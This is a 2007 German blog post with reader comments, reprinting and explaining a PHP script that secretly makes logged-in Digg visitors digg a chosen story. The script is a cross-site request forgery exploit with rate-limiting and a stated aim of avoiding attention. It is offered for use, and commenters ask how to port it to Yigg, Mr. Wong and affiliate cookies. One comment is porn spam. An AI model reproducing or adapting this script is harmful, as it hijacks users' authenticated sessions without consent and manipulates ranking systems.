This entry was posted on Dienstag, März 13th, 2007 at 18:05 and is filed under Spam. You can follow any responses to this entry through the RSS 2.0 feed. You can leave a response, or trackback from your own site.
X-Man Labs
Möge die Macht mit uns sein!
Digg überlisten
Viele Blogs haben schon darüber berichtet. Es ist ein Script aufgetaucht mit dem es möglich ist seinem Beitrag Diggs auf Digg.com zu erschleichen.
Ich möchte nun auf die technische Funktionsweise dieses Exploits eingehen.
Source Code
Dateiname: the-js.php
[source:php]
$digg_story_url = ‘http://digg.com/linux_unix/Dell_censors_IdeaStorm_Linux_dissent’;
// ************ IMPORTANT NOTES ************
//
// The file: ‘digg_this.txt’ must exist, be
// writeable and contain ‘0-0′ when this
// script is taken into use.
//
// If you edit the code please be sure about
// what you’re doing so you don’t end up
// bringing too much attention to it.
//
// This script is of course for educational
// purpose only…
//
$report_errors = false;
$filename = ‘digg_this.txt’;
header(’Cache-Control: no-cache, must-revalidate’);
header(’Expires: Mon, 26 Jan 1997 05:00:00 GMT’);
header(’Pragma: no-cache’);
header(’Last-Modified: ‘ . gmdate(’D, d M Y H:i:s’) . ‘ GMT’);
require_once(’Snoopy.class.php’);
function error_and_exit($error) {
global $report_errors;
if ($report_errors === true) echo(’document.write(\” . $error . ‘\’);’);
if (($error >= 5) && ($error <= 8)) {
global $handle;
fclose($handle);
}
exit;
}
if (strpos($digg_story_url, ‘digg’) === false) error_and_exit(’1′);
if (!file_exists($filename)) error_and_exit(’2′);
if (!is_writable($filename)) error_and_exit(’3′);
if (!$handle = fopen($filename, ‘r+’)) error_and_exit(’4′);
$status = fread($handle, 8192);
$status = trim($status);
if (strpos($status, ’stop’) !== false) error_and_exit(’5′);
$STATUS = explode(’-', $status);
if (($STATUS[0] > 100) || $STATUS[1] < (mktime() - 1800)) {
$snoopy = new Snoopy;
if ($snoopy->fetch($digg_story_url)) $page_result = $snoopy->results;
$tmp = substr($page_result, strpos($page_result, ‘
‘));
$tmp = substr($tmp, 0, strpos($tmp, ‘
‘));
if ((strpos($tmp, ‘made popular’) !== false) || (strpos($tmp, ‘day’) !== false)) {
$new_status = ’stop’;
ftruncate($handle, 0);
fseek($handle, 0);
fwrite($handle, $new_status);
error_and_exit(’6′);
} else {
$new_status = ‘0-’ . mktime();
ftruncate($handle, 0);
fseek($handle, 0);
if (fwrite($handle, $new_status) === false) error_and_exit(’8′);
}
} else {
$STATUS[0]++;
$new_status = $STATUS[0] . ‘-’ . $STATUS[1];
ftruncate($handle, 0);
fseek($handle, 0);
if (fwrite($handle, $new_status) === false) error_and_exit(’7′);
}
fclose($handle);
// seems like everything is fine so we output the client side script to digg the story
echo(’document.write(\’\’);’);
echo(’document.write(\’\’);’);[/source]
Diesen Code in das entsprechende Story Dokument einfügen
[source:php]
[/source]
Was macht dieses Script?
Dieses Script nutzt die Tatsache aus das fast alle Digg User immer automatisch eingelogged sind und sendet automatisch einen Post ab. Dadurch Digged jeder Automatisch die Story in der ihr diesen Code einbaut. Simple aber genial.
März 14th, 2007 at 00:44
Und damit hat Marcus seinen Top-Digg-Artikel ein wenig Starthilfe verpasst? Interessant
Aber cooler Artikel. Das Script werd ich mir mal anschauen - kann man ja bestimmt noch für weitere Dinge benutzen.
März 14th, 2007 at 01:00
Sehr geil haha..das werd ich ma testen
offtopic: welches wordpress plugin benutzt du für den php code?
März 14th, 2007 at 01:54
Kein Wordpress Plugin, du musst es selber reincoden
März 14th, 2007 at 02:00
Wie jetzt? Ich meinte für das syntax-highlighting des Source Codes in dem Posting..
März 14th, 2007 at 02:37
oh sorry
Ich benutze den iG:Syntax Hiliter
März 14th, 2007 at 07:48
PS: Für alle Coder, das Ding funkt. auch bei MR Wong und Yigg (wenn man ein paar Zeilen umschreibt).
März 14th, 2007 at 09:42
Super Plugin!
Mich interessieren auch die Varianten für Mr.Wong und Yigg, kann da jemand die bestreffenden codeänderungen posten?
März 14th, 2007 at 10:23
http://www.google.com/search?q=digg_this.txt

März 14th, 2007 at 16:53
[...] Thema: Damit eure Storys von allen eingeloggten Yigg-Usern automatisch geyigged werden einfach X-Man’s Script [...]
März 14th, 2007 at 18:28
Was genau soll ich da umschreiben? habs mal probiert aber das funktioniert auf yigg nicht…
März 18th, 2007 at 02:26
ah, das passt grad ganz gut in mein projekt, vielen dank. nein, nicht das diggen oder euer 5p4m sondern der snoopy! http://sourceforge.net/projects/snoopy/
sowas brauchte ich gerade.
“Was genau soll ich da umschreiben? habs mal probiert aber das funktioniert auf yigg nicht…”
lol, scriptkiddies
März 20th, 2007 at 01:41
sorry für spam letztes mal.
März 22nd, 2007 at 14:44
könnte man das ganze nicht auch für cookies im affiliate bereich nutzen?
Juni 17th, 2007 at 19:28
So ganz habe ich noch nicht verstanden wie es geht )-:
Btw: wie kann man direkt aus wordpress in digg einstellen ?
Juni 23rd, 2007 at 12:58
free porn video…
i agree…
August 16th, 2007 at 14:25
Funktioniert das immer noch? viel interessanter wäre es für den deutschen Markt, ob es auch mit yigg und mr. wong geht. aber sinn macht das schon *gg* …
Oktober 8th, 2007 at 17:04
Gibt es schon eine Aussagge zu der Frage von “Kleinanzeigen”, ob das auch für mr. wong funktioniert?